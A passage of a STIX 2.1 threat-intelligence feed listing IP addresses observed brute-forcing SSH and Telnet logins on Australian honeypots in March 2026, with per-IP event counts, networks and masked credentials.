      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137693. Organisation(s): CHINATELECOM Guangxi Nanning IDC networkdescr: NanningGuangxi Province, P.R.China.. Usernames observed (masked): n**s, 3**********4, b*******n, c****y, c***r. Passwords observed (masked): !**********E, ***, 1***5, 3***********4, 3**********4.",
      "id": "indicator--1468ce08-6409-424a-9f8f-013252bf61bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '124.226.216.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T10:15:14.000Z",
      "valid_until": "2026-04-23T10:15:11.000Z"
    },
    {
      "created": "2026-03-22T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, s***y, 3**********4, c****s, e***l. Passwords observed (masked): 3***********4, 3**********4, Z******2, c*******3, e*******!.",
      "id": "indicator--622fa626-3e35-4b9c-9800-d89a20283068",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '13.81.183.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T10:15:14.000Z",
      "valid_until": "2026-04-23T10:15:11.000Z"
    },
    {
      "created": "2026-03-22T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--fdbc00f7-7c1b-46ce-bdc0-fc0ec5fcc9ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T10:15:14.000Z",
      "valid_until": "2026-04-23T10:15:11.000Z"
    },
    {
      "created": "2026-03-22T11:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--f1fd26e4-e74f-4cc5-babe-6b6dbd59e24c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.245.142.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T11:15:13.000Z",
      "valid_until": "2026-04-23T11:15:12.000Z"
    },
    {
      "created": "2026-03-22T11:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--195c265c-ba6e-4c4c-b5a7-e4cb4e62e2a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T11:15:13.000Z",
      "valid_until": "2026-04-23T11:15:12.000Z"
    },
    {
      "created": "2026-03-22T11:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269087. Organisation(s): netcabo servicos de comunicacao.",
      "id": "indicator--a4b093cd-9de1-4066-b0c5-9b493adc9a20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T11:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.178.47.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T11:15:13.000Z",
      "valid_until": "2026-04-23T11:15:12.000Z"
    },
    {
      "created": "2026-03-22T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, 3**********4, c***r, k******k, r*****r. Passwords observed (masked): 1****6, 1***5, 3***********4, 3**********4, S***3.",
      "id": "indicator--6b4706ce-505d-417e-8264-5fc1cc2abafa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.210.21.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T12:15:13.000Z",
      "valid_until": "2026-04-23T12:15:11.000Z"
    },
    {
      "created": "2026-03-22T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 58791. Organisation(s): GMO Internet Group, Inc.. Usernames observed (masked): 3**********4, a***a, ***, ***, f******n. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1****6, F*********3.",
      "id": "indicator--a0834223-f67f-4f82-8e46-2674f5ccb90f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '133.117.76.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T12:15:13.000Z",
      "valid_until": "2026-04-23T12:15:11.000Z"
    },
    {
      "created": "2026-03-22T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 3255. Organisation(s): LLC Eksintech.",
      "id": "indicator--f382c09d-ed9c-4959-9db2-b8d8126973ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.44.33.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T12:15:13.000Z",
      "valid_until": "2026-04-23T12:15:11.000Z"
    },
    {
      "created": "2026-03-22T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): a***a, p******r. Passwords observed (masked): 1**4, p******r.",
      "id": "indicator--231870a9-bb25-4d82-ba3e-a8dbc2ce60e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.123.146.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T12:15:13.000Z",
      "valid_until": "2026-04-23T12:15:11.000Z"
    },
    {
      "created": "2026-03-22T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): e*****r. Passwords observed (masked): e*****r.",
      "id": "indicator--a5c4bbdb-0c78-4ec1-90f7-5e08661cab94",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.123.146.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T12:15:13.000Z",
      "valid_until": "2026-04-23T12:15:11.000Z"
    },
    {
      "created": "2026-03-22T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): s****n. Passwords observed (masked): s********s.",
      "id": "indicator--3e2266f0-6b91-492a-ac87-b14bbb18c17d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.123.146.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T12:15:13.000Z",
      "valid_until": "2026-04-23T12:15:11.000Z"
    },
    {
      "created": "2026-03-22T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): ***. Passwords observed (masked): 1**4.",
      "id": "indicator--dd17d433-6f6b-4ae5-b6bd-51cf67db57ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.210.186.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T12:15:13.000Z",
      "valid_until": "2026-04-23T12:15:11.000Z"
    },
    {
      "created": "2026-03-22T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--442a16b4-f6c9-4cb0-a949-2acca6a6fb22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.236.54.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T12:15:13.000Z",
      "valid_until": "2026-04-23T12:15:11.000Z"
    },
    {
      "created": "2026-03-22T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 172. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MA. ASN(s): 6713. Organisation(s): Itissalat Al-MAGHRIB. Usernames observed (masked): 3**********4, a***a, k***m, ***, ***. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, p******d.",
      "id": "indicator--959c7613-5117-4fc9-8955-a96bb20344d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.192.46.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T12:15:13.000Z",
      "valid_until": "2026-04-23T12:15:11.000Z"
    },
    {
      "created": "2026-03-22T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): k***m. Passwords observed (masked): 3***********4.",
      "id": "indicator--89937d4d-e5e6-43af-919c-f907de1f2f6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.123.146.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:15:15.000Z",
      "valid_until": "2026-04-23T13:15:11.000Z"
    },
    {
      "created": "2026-03-22T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--7faab1fa-8822-4d41-82ce-6547ad8e6aa8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '20.14.73.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:15:15.000Z",
      "valid_until": "2026-04-23T13:15:11.000Z"
    },
    {
      "created": "2026-03-22T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 3301. Organisation(s): Telia Company AB.",
      "id": "indicator--257e1036-d576-4c61-b0e8-e711a11434b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.65.207.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:15:15.000Z",
      "valid_until": "2026-04-23T13:15:11.000Z"
    },
    {
      "created": "2026-03-22T13:15:15.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Heralding. Target ports: 1080. Source country: CN. ASN(s): 56047. Organisation(s): China Mobile communications corporation. Usernames observed (masked): ***, 1***5, 1****6, 1******8, a***n. Passwords observed (masked): ***, 1***5, 1****6, 1******8, a***n.",
      "id": "indicator--ad5ff6ca-5d67-49da-a2ed-999ec0233187",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.148.113.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:15:15.000Z",
      "valid_until": "2026-04-23T13:15:11.000Z"
    },
    {
      "created": "2026-03-22T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--0fa35cb9-4dd4-40e8-812f-462394bfcb05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.74.1.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:15:15.000Z",
      "valid_until": "2026-04-23T13:15:11.000Z"
    },
    {
      "created": "2026-03-22T13:15:15.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--83af419d-975c-4d93-a818-2e832e7f2618",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T13:15:15.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.85.8.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:15:15.000Z",
      "valid_until": "2026-04-23T13:15:11.000Z"
    },
    {
      "created": "2026-03-22T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 56694. Organisation(s): LLC Smart Ape.",
      "id": "indicator--2bc6737f-0d30-4801-87e9-749d8c78013c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.127.250.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:15:14.000Z",
      "valid_until": "2026-04-23T14:15:12.000Z"
    },
    {
      "created": "2026-03-22T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 12874. Organisation(s): Fastweb.",
      "id": "indicator--dcf2cd35-8f32-4d7f-a6a6-efc9b8a0adfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.238.250.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:15:14.000Z",
      "valid_until": "2026-04-23T14:15:12.000Z"
    },
    {
      "created": "2026-03-22T14:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 4713. Organisation(s): NTT DOCOMO BUSINESS,Inc..",
      "id": "indicator--fb5d8005-67ca-4d6a-bdba-d3cc0ddd9dcb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.146.182.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:15:14.000Z",
      "valid_until": "2026-04-23T14:15:12.000Z"
    },
    {
      "created": "2026-03-22T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, c****i, i***e, d*********n, d********r. Passwords observed (masked): 3***********4, 3**********4, p******d, 1**4, 1****6.",
      "id": "indicator--f25e1c1d-3e2f-4e69-9a9b-e6a79564c328",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.255.220.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:15:14.000Z",
      "valid_until": "2026-04-23T14:15:12.000Z"
    },
    {
      "created": "2026-03-22T14:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--a0766539-debb-4a79-90e9-ab5643d8b4be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T14:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:15:14.000Z",
      "valid_until": "2026-04-23T14:15:12.000Z"
    },
    {
      "created": "2026-03-22T15:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): u******2, 3**********4, a****s, a**s, f******t. Passwords observed (masked): p******d, 1***5, 1******8, 3***********4, 3**********4.",
      "id": "indicator--cbbe9816-60e0-4864-996e-2411e7f7f888",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T15:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.112.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T15:15:22.000Z",
      "valid_until": "2026-04-23T15:15:13.000Z"
    },
    {
      "created": "2026-03-22T15:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CV. ASN(s): 37517. Organisation(s): CVTS1.",
      "id": "indicator--00de5403-7f14-429d-9b11-38c2e3b514d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T15:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '102.213.207.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T15:15:22.000Z",
      "valid_until": "2026-04-23T15:15:13.000Z"
    },
    {
      "created": "2026-03-22T15:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): p****e, 3**********4, a******h, h**o, k***n. Passwords observed (masked): ***, 1*****m, 1******8, 3***********4, 3**********4.",
      "id": "indicator--cd2807bc-d84e-4d86-882a-9fb6bf166198",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T15:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.134.154.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T15:15:22.000Z",
      "valid_until": "2026-04-23T15:15:13.000Z"
    },
    {
      "created": "2026-03-22T15:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17622. Organisation(s): China Unicom Guangzhou network. Usernames observed (masked): r**t, a***n. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--1672567c-02a4-4c22-99fb-0f12e74ec11a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T15:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.85.115.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T15:15:22.000Z",
      "valid_until": "2026-04-23T15:15:13.000Z"
    },
    {
      "created": "2026-03-22T15:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T15:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T15:15:22.000Z",
      "valid_until": "2026-04-23T15:15:13.000Z"
    },
    {
      "created": "2026-03-22T15:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 272. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): r**t, a****e, ***, n***x, o****e. Passwords observed (masked): 1****6, !******r, !******X, !******X, 1****1.",
      "id": "indicator--b46e5676-612a-4509-a61f-a2bed4ed8cea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T15:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '51.89.1.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T15:15:22.000Z",
      "valid_until": "2026-04-23T15:15:13.000Z"
    },
    {
      "created": "2026-03-22T15:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 3356. Organisation(s): Level 3 Parent, LLC.",
      "id": "indicator--423037cb-0d4c-43ec-af8e-64fdb3afc0a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T15:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '8.243.169.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T15:15:22.000Z",
      "valid_until": "2026-04-23T15:15:13.000Z"
    },
    {
      "created": "2026-03-22T16:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--0304ff76-dccb-44e7-905a-f1175afd9eb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-22T16:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.246.42.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:15:14.000Z",
      "valid_until": "2026-04-23T16:15:11.000Z"
    },
    {
      "created": "2026-03-22T16:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--b393e961-a19a-427a-9981-52a8127c2604",
      "labels": [
        "bruteforce"
      ],
